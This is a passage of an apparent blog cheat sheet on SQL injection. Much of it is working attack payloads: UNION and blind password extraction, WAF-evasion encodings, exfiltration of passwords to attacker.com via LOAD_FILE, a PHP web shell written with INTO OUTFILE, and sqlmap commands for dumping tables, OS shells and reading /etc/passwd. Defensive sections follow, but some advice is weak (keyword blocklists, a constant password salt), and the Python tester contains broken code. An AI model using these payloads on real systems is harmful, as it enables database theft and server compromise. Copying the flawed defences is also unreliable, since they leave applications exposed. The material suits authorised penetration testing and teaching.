' UNION SELECT username,IF(role='admin','ADMIN','USER'),null FROM users --
-- Encoded data extraction
' UNION SELECT HEX(password),null,null FROM users WHERE id=1 --
' UNION SELECT TO_BASE64(sensitive_data),null,null FROM confidential --
' UNION SELECT UPPER(password),null,null FROM users --
Blind SQL Injection Payloads
Boolean-Based Blind
🕵️ Blind SQL Injection Patterns
-- Basic true/false testing
' AND 1=1 --
' AND 1=2 --
' AND 'a'='a --
' AND 'a'='b --
-- Length detection
' AND (SELECT LENGTH(password) FROM users WHERE id=1)=8 --
' AND (SELECT CHAR_LENGTH(username) FROM users WHERE id=1)>5 --
-- Character-by-character extraction
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE id=1)='a' --
' AND (SELECT ASCII(SUBSTRING(password,1,1)) FROM users WHERE id=1)>90 --
' AND (SELECT MID(password,1,1) FROM users WHERE id=1)='p' --
-- Table/column existence testing
' AND (SELECT COUNT(*) FROM users)>0 --
' AND (SELECT COUNT(*) FROM information_schema.tables WHERE table_name='users')=1 --
' AND (SELECT COUNT(*) FROM information_schema.columns WHERE column_name='password')>0 --
-- Database version detection
' AND (SELECT SUBSTRING(@@version,1,1))='5' --
' AND (SELECT version()) LIKE '%MySQL%' --
' AND (SELECT version()) LIKE '%PostgreSQL%' --
Time-Based Blind
⏱️ Time-Based Blind SQL Injection Patterns
-- MySQL time-based
' AND SLEEP(5) --
' AND (SELECT SLEEP(5)) --
' AND (SELECT SLEEP(5) FROM users WHERE id=1) --
' AND IF(1=1,SLEEP(5),0) --
' AND (SELECT IF(SUBSTRING(password,1,1)='a',SLEEP(5),0) FROM users WHERE id=1) --
-- PostgreSQL time-based
' AND pg_sleep(5) --
' AND (SELECT pg_sleep(5)) --
' AND (SELECT CASE WHEN 1=1 THEN pg_sleep(5) ELSE 0 END) --
-- SQL Server time-based
'; WAITFOR DELAY '00:00:05' --
' AND (SELECT CASE WHEN 1=1 THEN 1 ELSE 0 END); WAITFOR DELAY '00:00:05' --
' IF (1=1) WAITFOR DELAY '00:00:05' --
-- Oracle time-based
' AND (SELECT dbms_lock.sleep(5) FROM dual) --
' AND (SELECT CASE WHEN 1=1 THEN dbms_lock.sleep(5) ELSE 0 END FROM dual) --
Advanced Evasion Payloads
WAF Bypass Techniques
🎭 SQL Injection Evasion & Bypass Patterns
-- Comment-based evasion
/**/UNION/**/SELECT/**/username,password/**/FROM/**/users--
/*!50000UNION*/ /*!50000SELECT*/ username,password /*!50000FROM*/ users--
/*! UNION */ /*! SELECT */ username,password /*! FROM */ users--
-- Case variation
UnIoN SeLeCt username,password FrOm users--
uNiOn sElEcT username,password fRoM users--
-- Whitespace evasion
UNION SELECT username,password FROM users--
UNION%20SELECT%20username,password%20FROM%20users--
UNION%0ASELECT%0Ausername,password%0AFROM%0Ausers--
-- Encoding evasion
%55%4e%49%4f%4e%20%53%45%4c%45%43%54 (URL encoded UNION SELECT)
\u0055\u004e\u0049\u004f\u004e\u0020\u0053\u0045\u004c\u0045\u0043\u0054 (Unicode)
-- Function-based evasion
UNION SELECT CHAR(117,115,101,114,110,97,109,101),password FROM users--
UNION SELECT CONCAT(CHAR(117,115,101,114),CHAR(110,97,109,101)),password FROM users--
-- Operator replacement
' OR 1=1 AND 1=1 --
' OR 1 LIKE 1 --
' OR 1 RLIKE 1 --
' OR 1 REGEXP 1 --
' OR 1 IN (1) --
' OR 1 BETWEEN 1 AND 1 --
Advanced Injection Techniques
🔥 Advanced SQL Injection Exploitation Patterns
-- Subquery exploitation
' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(version(),FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --
-- Error-based extraction
' AND (SELECT * FROM (SELECT COUNT(*),CONCAT(0x7e,(SELECT user()),0x7e,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a) --
-- DNS exfiltration
' AND (SELECT LOAD_FILE(CONCAT('\\\\', (SELECT password FROM users WHERE id=1), '.attacker.com\\share'))) --
-- HTTP exfiltration
' AND (SELECT LOAD_FILE(CONCAT('http://attacker.com/collect.php?data=', (SELECT password FROM users WHERE id=1)))) --
-- File system manipulation
' UNION SELECT '<?php system($_GET["cmd"]); ?>' INTO OUTFILE '/var/www/html/shell.php' --
' UNION SELECT password FROM users INTO OUTFILE '/tmp/passwords.txt' --
OWASP SQL Injection Guidelines
OWASP Top 10 2021: A03 - Injection
The Open Web Application Security Project (OWASP) categorizes SQL injection under A03: Injection in their Top 10 2021 list, representing a critical security vulnerability affecting web applications globally.
OWASP Risk Assessment Framework
Threat Agent: External attackers, malicious insiders, automated tools Attack Vector: Web application input fields, APIs, HTTP headers Security Weakness: Insufficient input validation, dynamic query construction Technical Impact: Data breach, authentication bypass, system compromise Business Impact: Financial loss, reputation damage, regulatory compliance violations
Primary Defense Strategies
1. Use of Prepared Statements (Parameterized Queries)
🛡️ Secure SQL Implementation Examples
-- Secure Implementation Example
-- Instead of: SELECT * FROM users WHERE id = '" + userId + "'
-- Use: SELECT * FROM users WHERE id = ?
-- With parameter binding: statement.setInt(1, userId)
2. Stored Procedures (When Implemented Correctly)
🛡️ Secure SQL Implementation Examples
-- Secure Implementation Example
-- Instead of: SELECT * FROM users WHERE id = '" + userId + "'
-- Use: SELECT * FROM users WHERE id = ?
-- With parameter binding: statement.setInt(1, userId)
-- Secure stored procedure example
CREATE PROCEDURE GetUserById(@UserId INT)
AS
BEGIN
SELECT id, username, email FROM users WHERE id = @UserId
END
3. Allow-List Input Validation
✅ SQL Input Validation Example
// Validate against known good values
$allowedSortColumns = ['id', 'username', 'email', 'created_at'];
if (!in_array($sortColumn, $allowedSortColumns)) {
throw new InvalidArgumentException("Invalid sort column");
}
4. Escaping All User-Supplied Input
⚠️ SQL Escape String Example
// Last resort - not recommended as primary defense
$escaped = mysqli_real_escape_string($connection, $userInput);
Additional Defense Measures
1. Least Privilege Database Access
🔐 Database User Privileges Example
-- Create application-specific database user
CREATE USER 'webapp_user'@'localhost' IDENTIFIED BY 'secure_password';
-- Grant minimum required permissions
GRANT SELECT, INSERT, UPDATE ON webapp.users TO 'webapp_user'@'localhost';
GRANT SELECT ON webapp.products TO 'webapp_user'@'localhost';
-- Explicitly deny dangerous operations
REVOKE FILE ON *.* FROM 'webapp_user'@'localhost';
REVOKE PROCESS ON *.* FROM 'webapp_user'@'localhost';
2. Allow-List Input Validation
🛡️ Comprehensive Input Validator
class InputValidator {
// Common validation patterns
private static $patterns = [
'user_id' => '/^[1-9]\d{0,9}$/',
'username' => '/^[a-zA-Z0-9_-]{3,20}$/',
'alphanumeric' => '/^[a-zA-Z0-9\s]+$/',
'safe_string' => '/^[a-zA-Z0-9\s\-_.,!?]+$/'
];
// SQL injection keywords to detect
private static $sql_keywords = [
'SELECT', 'INSERT', 'UPDATE', 'DELETE', 'UNION', 'DROP',
'CREATE', 'ALTER', 'EXEC', 'EXECUTE', 'SCRIPT'
];
public static function validateInput($input, $type, $maxLength = null) {
// Basic null and empty validation
if (empty($input) || $input === null) {
throw new InvalidArgumentException("Input cannot be empty");
}
// Length validation
if ($maxLength && strlen($input) > $maxLength) {
throw new InvalidArgumentException("Input too long");
}
// Pattern validation
if (isset(self::$patterns[$type])) {
if (!preg_match(self::$patterns[$type], $input)) {
throw new InvalidArgumentException("Invalid input format");
}
}
// SQL injection keyword detection
$upperInput = strtoupper($input);
foreach (self::$sql_keywords as $keyword) {
if (strpos($upperInput, $keyword) !== false) {
throw new SecurityException("Potentially malicious input detected");
}
}
return $input;
}
public static function sanitizeString($input) {
// Remove potential SQL injection characters
$dangerous_chars = ['\'', '"', '`', ';', '--', '/*', '*/', '\\'];
$input = str_replace($dangerous_chars, '', $input);
// HTML entity encoding
$input = htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
return trim($input);
}
public static function validateId($id) {
$id = filter_var($id, FILTER_VALIDATE_INT);
if ($id === false || $id <= 0) {
throw new InvalidArgumentException("Invalid ID format");
}
return $id;
}
public static function validateEmail($email) {
$email = filter_var($email, FILTER_VALIDATE_EMAIL);
if ($email === false) {
throw new InvalidArgumentException("Invalid email format");
}
return $email;
}
}
JavaScript Input Validation
⚡ JavaScript Client-Side Validator
class ClientSideValidator {
static patterns = {
id: /^[1-9]\d*$/,
username: /^[a-zA-Z0-9_-]{3,20}$/,
email: /^[a-zA-Z0-9._%+-]+@[a-zA-Z0-9.-]+\.[a-zA-Z]{2,}$/,
alphanumeric: /^[a-zA-Z0-9\s]+$/,
safeString: /^[a-zA-Z0-9\s\-_.,!?]+$/
};
static sqlKeywords = [
'SELECT', 'INSERT', 'UPDATE', 'DELETE', 'DROP', 'CREATE', 'ALTER',
'UNION', 'OR', 'AND', 'WHERE', 'FROM', 'INTO', 'VALUES', 'SET',
'EXEC', 'EXECUTE', 'SCRIPT', 'DECLARE', 'CAST', 'CONVERT'
];
static validateInput(input, type, maxLength = null) {
if (!input || input.trim() === '') {
throw new Error('Input cannot be null or empty');
}
if (maxLength && input.length > maxLength) {
throw new Error('Input exceeds maximum length');
}
if (this.patterns[type] && !this.patterns[type].test(input)) {
throw new Error('Invalid input format');
}
// SQL injection keyword detection
const upperInput = input.toUpperCase();
for (const keyword of this.sqlKeywords) {
if (upperInput.includes(keyword)) {
throw new Error('Potentially malicious input detected');
}
}
return input;
}
static sanitizeString(input) {
// Remove dangerous characters
const dangerousChars = ['\'', '"', '`', ';', '--', '/*', '*/', '\\'];
dangerousChars.forEach(char => {
input = input.replace(new RegExp(char.replace(/[.*+?^${}()|[\]\\]/g, '\\$&'), 'g'), '');
});
// HTML entity encoding
const div = document.createElement('div');
div.textContent = input;
return div.innerHTML.trim();
}
}
3. Stored Procedures Implementation
Stored procedures provide an additional layer of security by encapsulating SQL logic within the database.
MySQL Stored Procedures
🔧 Secure SQL Stored Procedures Examples
-- User Authentication Procedure
DELIMITER //
CREATE PROCEDURE AuthenticateUser(
IN p_username VARCHAR(255),
IN p_password VARCHAR(255),
OUT p_user_id INT,
OUT p_role VARCHAR(50),
OUT p_status VARCHAR(20)
)
BEGIN
DECLARE v_password_hash VARCHAR(255);
DECLARE v_active BOOLEAN DEFAULT FALSE;
-- Initialize output parameters
SET p_user_id = 0;
SET p_role = '';
SET p_status = 'FAILED';
-- Get user information
SELECT id, password_hash, role, active
INTO p_user_id, v_password_hash, p_role, v_active
FROM users
WHERE username = p_username
LIMIT 1;
-- Verify user exists and is active
IF p_user_id > 0 AND v_active = TRUE THEN
-- In production, use proper password hashing verification
IF v_password_hash = SHA2(CONCAT(p_password, 'salt'), 256) THEN
SET p_status = 'SUCCESS';
-- Update last login timestamp
UPDATE users
SET last_login = NOW(),
login_count = login_count + 1
WHERE id = p_user_id;
ELSE
SET p_status = 'INVALID_PASSWORD';
END IF;
ELSE
SET p_status = 'USER_NOT_FOUND';
END IF;
END //
DELIMITER ;
-- Product Search Procedure
DELIMITER //
CREATE PROCEDURE SearchProducts(
IN p_keyword VARCHAR(255),
IN p_category VARCHAR(100),
IN p_limit INT,
IN p_offset INT
)
BEGIN
-- Input validation
IF p_limit <= 0 OR p_limit > 100 THEN
SET p_limit = 10;
END IF;
IF p_offset < 0 THEN
SET p_offset = 0;
END IF;
-- Secure search query
SELECT
id,
name,
description,
price,
category,
created_at
FROM products
WHERE
(p_keyword IS NULL OR name LIKE CONCAT('%', p_keyword, '%'))
AND (p_category IS NULL OR category = p_category)
AND active = TRUE
ORDER BY name
LIMIT p_limit OFFSET p_offset;
END //
DELIMITER ;
SQL Server Stored Procedures
🗄️ SQL Server Stored Procedures Examples
-- User Authentication Procedure
CREATE PROCEDURE AuthenticateUser
@Username NVARCHAR(255),
@Password NVARCHAR(255),
@UserId INT OUTPUT,
@Role NVARCHAR(50) OUTPUT,
@Status NVARCHAR(20) OUTPUT
AS
BEGIN
SET NOCOUNT ON;
DECLARE @PasswordHash NVARCHAR(255);
DECLARE @Active BIT;
-- Initialize output parameters
SET @UserId = 0;
SET @Role = '';
SET @Status = 'FAILED';
-- Get user information
SELECT
@UserId = id,
@PasswordHash = password_hash,
@Role = role,
@Active = active
FROM users
WHERE username = @Username;
-- Verify user exists and is active
IF @UserId > 0 AND @Active = 1
BEGIN
-- In production, use proper password hashing verification
IF @PasswordHash = HASHBYTES('SHA2_256', @Password + 'salt')
BEGIN
SET @Status = 'SUCCESS';
-- Update last login timestamp
UPDATE users
SET
last_login = GETDATE(),
login_count = login_count + 1
WHERE id = @UserId;
END
ELSE
BEGIN
SET @Status = 'INVALID_PASSWORD';
END
END
ELSE
BEGIN
SET @Status = 'USER_NOT_FOUND';
END
END;
-- Product Search Procedure
CREATE PROCEDURE SearchProducts
@Keyword NVARCHAR(255),
@Category NVARCHAR(100),
@Limit INT,
@Offset INT
AS
BEGIN
SET NOCOUNT ON;
-- Input validation
IF @Limit <= 0 OR @Limit > 100
SET @Limit = 10;
IF @Offset < 0
SET @Offset = 0;
-- Secure search query
SELECT
id,
name,
description,
price,
category,
created_at
FROM products
WHERE
(@Keyword IS NULL OR name LIKE '%' + @Keyword + '%')
AND (@Category IS NULL OR category = @Category)
AND active = 1
ORDER BY name
OFFSET @Offset ROWS
FETCH NEXT @Limit ROWS ONLY;
END;
4. Database Security Configuration
Implementing proper database security configurations significantly reduces SQL injection risks.
MySQL Security Configuration
🔒 Database Security Configuration
-- Create limited application user
CREATE USER 'app_user'@'localhost' IDENTIFIED BY 'complex_secure_password_2024!';
-- Grant minimum required permissions
GRANT SELECT, INSERT, UPDATE ON application_db.users TO 'app_user'@'localhost';
GRANT SELECT, INSERT, UPDATE ON application_db.products TO 'app_user'@'localhost';
GRANT SELECT ON application_db.categories TO 'app_user'@'localhost';
-- Revoke dangerous permissions
REVOKE FILE ON *.* FROM 'app_user'@'localhost';
REVOKE PROCESS ON *.* FROM 'app_user'@'localhost';
REVOKE SUPER ON *.* FROM 'app_user'@'localhost';
REVOKE SHUTDOWN ON *.* FROM 'app_user'@'localhost';
-- Disable dangerous functions
SET GLOBAL log_bin_trust_function_creators = 0;
SET GLOBAL local_infile = 0;
-- Enable query logging for monitoring
SET GLOBAL general_log = 'ON';
SET GLOBAL general_log_file = '/var/log/mysql/general.log';
PostgreSQL Security Configuration
🐘 PostgreSQL Security Configuration
-- Create limited application user
CREATE USER app_user WITH PASSWORD 'complex_secure_password_2024!';
-- Grant minimum required permissions
GRANT CONNECT ON DATABASE application_db TO app_user;
GRANT USAGE ON SCHEMA public TO app_user;
GRANT SELECT, INSERT, UPDATE ON users TO app_user;
GRANT SELECT, INSERT, UPDATE ON products TO app_user;
GRANT SELECT ON categories TO app_user;
-- Revoke dangerous permissions
REVOKE ALL ON pg_database FROM app_user;
REVOKE ALL ON pg_user FROM app_user;
REVOKE ALL ON pg_shadow FROM app_user;
-- Row Level Security (RLS)
CREATE POLICY user_policy ON users FOR ALL TO app_user USING (active = true);
ALTER TABLE users ENABLE ROW LEVEL SECURITY;
-- Enable logging for monitoring
ALTER SYSTEM SET log_statement = 'all';
ALTER SYSTEM SET log_min_duration_statement = 1000;
SELECT pg_reload_conf();
5. Web Application Firewall (WAF) Implementation
WAF solutions provide real-time protection against SQL injection attacks through pattern recognition and behavioral analysis.
ModSecurity Rule Configuration
SQL Injection Protection Rules
# SQL Injection Protection Rules
SecRule REQUEST_COOKIES|!REQUEST_COOKIES:/__utm/|REQUEST_COOKIES_NAMES|ARGS_NAMES|ARGS|XML:/* "@detectSQLi" \
"id:981242,\
phase:2,\
block,\
capture,\
msg:'SQL Injection Attack Detected via libinjection',\
severity:'CRITICAL',\
tag:'attack-sqli'"
# Block common SQL injection patterns
SecRule ARGS "@contains union" \
"id:981243,\
phase:2,\
block,\
msg:'UNION-based SQL Injection Attack',\
severity:'CRITICAL'"
# Block SQL comments
SecRule ARGS "@contains --" \
"id:981244,\
phase:2,\
block,\
msg:'SQL Comment Injection Attack',\
severity:'HIGH'"
# Block SQL injection keywords
SecRule ARGS "@contains select" \
"id:981245,\
phase:2,\
block,\
msg:'SQL SELECT Statement Injection',\
severity:'CRITICAL'"
AWS WAF Configuration
AWS WAF SQL Injection Protection
{
"Name": "SQLInjectionProtection",
"Rules": [
{
"Name": "SQLInjectionRule",
"Priority": 1,
"Statement": {
"OrStatement": {
"Statements": [
{
"SqliMatchStatement": {
"FieldToMatch": {
"AllQueryArguments": {}
},
"TextTransformations": [
{
"Priority": 1,
"Type": "URL_DECODE"
},
{
"Priority": 2,
"Type": "HTML_ENTITY_DECODE"
}
]
}
},
{
"SqliMatchStatement": {
"FieldToMatch": {
"Body": {}
},
"TextTransformations": [
{
"Priority": 1,
"Type": "URL_DECODE"
},
{
"Priority": 2,
"Type": "HTML_ENTITY_DECODE"
}
]
}
}
]
}
},
"Action": {
"Block": {}
},
"VisibilityConfig": {
"SampledRequestsEnabled": true,
"CloudWatchMetricsEnabled": true,
"MetricName": "SQLInjectionRule"
}
}
]
}
SQL Injection Testing Methods
1. Manual Testing Methodology
Manual testing provides comprehensive coverage and allows for contextual analysis of vulnerabilities.
Systematic Testing Approach
SQL Injection Testing Phases
Phase 1: Information Gathering
├── Application mapping
├── Technology stack identification
├── Database technology fingerprinting
├── Entry point enumeration
└── Parameter analysis
Phase 2: Vulnerability Discovery
├── Single quote injection testing
├── Boolean logic manipulation
├── Time-based blind testing
├── Error message analysis
└── Union-based testing
Phase 3: Exploitation
├── Authentication bypass
├── Data extraction
├── Privilege escalation
├── File system access
└── Command execution
Phase 4: Impact Assessment
├── Data sensitivity analysis
├── Business impact evaluation
├── Compliance implications
└── Risk scoring
Manual Testing Checklist
SQL Injection Test Payloads
-- Basic Injection Tests
'
''
\'
"
""
\"
`
``
\`
-- Boolean Logic Tests
' OR '1'='1
' OR 1=1 --
' OR 'a'='a
' OR TRUE --
admin' --
admin'/*
) OR '1'='1 --
-- Time-based Tests (MySQL)
' AND SLEEP(5) --
'; SELECT SLEEP(5) --
' AND (SELECT * FROM (SELECT(SLEEP(5)))a) --
-- Time-based Tests (PostgreSQL)
' AND pg_sleep(5) --
'; SELECT pg_sleep(5) --
-- Time-based Tests (SQL Server)
'; WAITFOR DELAY '00:00:05' --
' AND (SELECT * FROM (SELECT(WAITFOR DELAY '00:00:05'))a) --
-- Union-based Tests
' UNION SELECT NULL --
' UNION SELECT NULL,NULL --
' UNION SELECT NULL,NULL,NULL --
' UNION SELECT 1,2,3 --
' UNION SELECT username,password FROM users --
-- Error-based Tests
' AND (SELECT * FROM nonexistent_table) --
' AND (SELECT COUNT(*) FROM information_schema.tables) --
' AND EXTRACTVALUE(1,CONCAT(0x7e,(SELECT version()),0x7e)) --
2. Automated Testing Tools
SQLMap - Advanced Usage
SQLMap Commands Guide
# Basic vulnerability assessment
sqlmap -u "http://example.com/product.php?id=1" --batch --level=3 --risk=3
# Database enumeration
sqlmap -u "http://example.com/product.php?id=1" --dbs --batch
# Table enumeration
sqlmap -u "http://example.com/product.php?id=1" -D database_name --tables --batch
# Column enumeration
sqlmap -u "http://example.com/product.php?id=1" -D database_name -T users --columns --batch
# Data extraction
sqlmap -u "http://example.com/product.php?id=1" -D database_name -T users --dump --batch
# POST parameter testing
sqlmap -u "http://example.com/login.php" --data="username=admin&password=pass" --batch
# Cookie parameter testing
sqlmap -u "http://example.com/profile.php" --cookie="PHPSESSID=abc123; user_id=1" --batch
# Header parameter testing
sqlmap -u "http://example.com/api/user" --headers="X-API-Key: test123" --batch
# Advanced evasion techniques
sqlmap -u "http://example.com/product.php?id=1" --tamper=space2comment,charencode --batch
# OS command execution
sqlmap -u "http://example.com/product.php?id=1" --os-shell --batch
# File system access
sqlmap -u "http://example.com/product.php?id=1" --file-read="/etc/passwd" --batch
Burp Suite Professional Testing
Burp Suite SQL Testing Workflow
1. Proxy Configuration
├── Configure browser proxy settings
├── Install Burp certificate
└── Enable intercept mode
2. Application Spidering
├── Automated crawling
├── Manual browsing
└── Scope definition
3. Active Scanning
├── SQL injection module
├── Payload customization
├── Insertion point selection
└── Response analysis
4. Manual Testing
├── Repeater for payload testing
├── Intruder for automated attacks
├── Decoder for payload encoding
└── Comparer for response analysis
5. Reporting
├── Vulnerability classification
├── Evidence compilation
├── Remediation recommendations
└── Risk assessment
Custom Testing Scripts
Python SQL Injection Tester
import requests
import time
import random
from urllib.parse import quote
class SQLInjectionTester:
def __init__(self, target_url, parameter):
self.target_url = target_url
self.parameter = parameter
self.session = requests.Session()
self.session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36'
})
def test_error_based(self):
"""Test for error-based SQL injection"""
payloads = [
"'",
"\"",
"')",
"\")\",
"' AND 1=1 --",
"' OR 1=1 --",
"' UNION SELECT NULL --",
"' AND (SELECT * FROM nonexistent_table) --"
]
vulnerabilities = []
for payload in payloads:
params = {self.parameter: payload}
try:
response = self.session.get(self.target_url, params=params, timeout=10)
# Check for SQL error patterns
error_patterns = [
"mysql_fetch_array",
"ORA-",
"Microsoft OLE DB Provider",
"PostgreSQL query failed",
"SQLite error",
"syntax error",
"mysql_num_rows",
"Warning: pg_"
]
for pattern in error_patterns:
if pattern.lower() in response.text.lower():
vulnerabilities.append({
'type': 'Error-based',
'payload': payload,
'pattern': pattern,
'response_length': len(response.text)
})
break
except requests.RequestException as e:
print(f"Request failed for payload {payload}: {e}")
return vulnerabilities
def generate_report(self):
"""Generate comprehensive vulnerability report"""
print(f"Testing SQL Injection on: {self.target_url}")
print(f"Parameter: {self.parameter}")
print("-" * 50)
# Usage example
if __name__ == "__main__":
tester = SQLInjectionTester("http://example.com/product.php", "id")
tester.generate_report()
PHP SQL Injection
Common PHP Vulnerabilities
1. Legacy MySQL Extension Vulnerabilities
Vulnerable PHP Code Example
// HIGHLY VULNERABLE - Never use in production
$username = $_POST['username'];
$password = $_POST['password'];
// Direct concatenation - extremely dangerous
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysql_query($query);
// Attack example:
// username: admin' OR '1'='1' --
// password: anything
// Result: Authentication bypass
2. Insufficient MySQLi Usage
Escaped but Still Vulnerable PHP Code
// VULNERABLE - Escaping is not sufficient
$username = mysqli_real_escape_string($connection, $_POST['username']);
$password = mysqli_real_escape_string($connection, $_POST['password']);
// Still vulnerable to certain attacks
$query = "SELECT * FROM users WHERE username = '$username' AND password = '$password'";
$result = mysqli_query($connection, $query);
// Attack example:
// Even with escaping, numeric contexts remain vulnerable
$id = mysqli_real_escape_string($connection, $_GET['id']);
$query = "SELECT * FROM users WHERE id = $id"; // No quotes around $id
// Attack: id=1 OR 1=1
Conclusion
SQL Injection remains a critical threat in modern web security, especially when applications fail to properly handle user input. This cheat sheet is meant to serve as a quick and practical reference for ethical use only — whether you're performing penetration testing, learning offensive techniques, or hunting bugs. Use it responsibly, and always test within legal and authorized environments.
Written by
Sia
Sia is the co-founder of Corenexis and one of the earliest voices shaping its editorial direction. With years of hands-on experience covering AI and technology, she has been writing about the digital world long before it became everyone's favorite topic — and she still does it better than most.
View all posts by Sia →
4 Comments
Your blog is always a highlight of my day
Can you be more specific about the content of your article? After reading it, I still have some doubts. Hope you can help me.
Thanks for sharing. I read many of your blog posts, cool, your blog is very good.
I don’t think the title of your article matches the content lol. Just kidding, mainly because I had some doubts after reading the article.
Community guidelines
We want the comments to be useful for every reader. Every comment is reviewed before it is published. A comment will not be approved if it is:
Keep it genuine and on-topic and it will be approved quickly. Thank you for helping keep the discussion clean.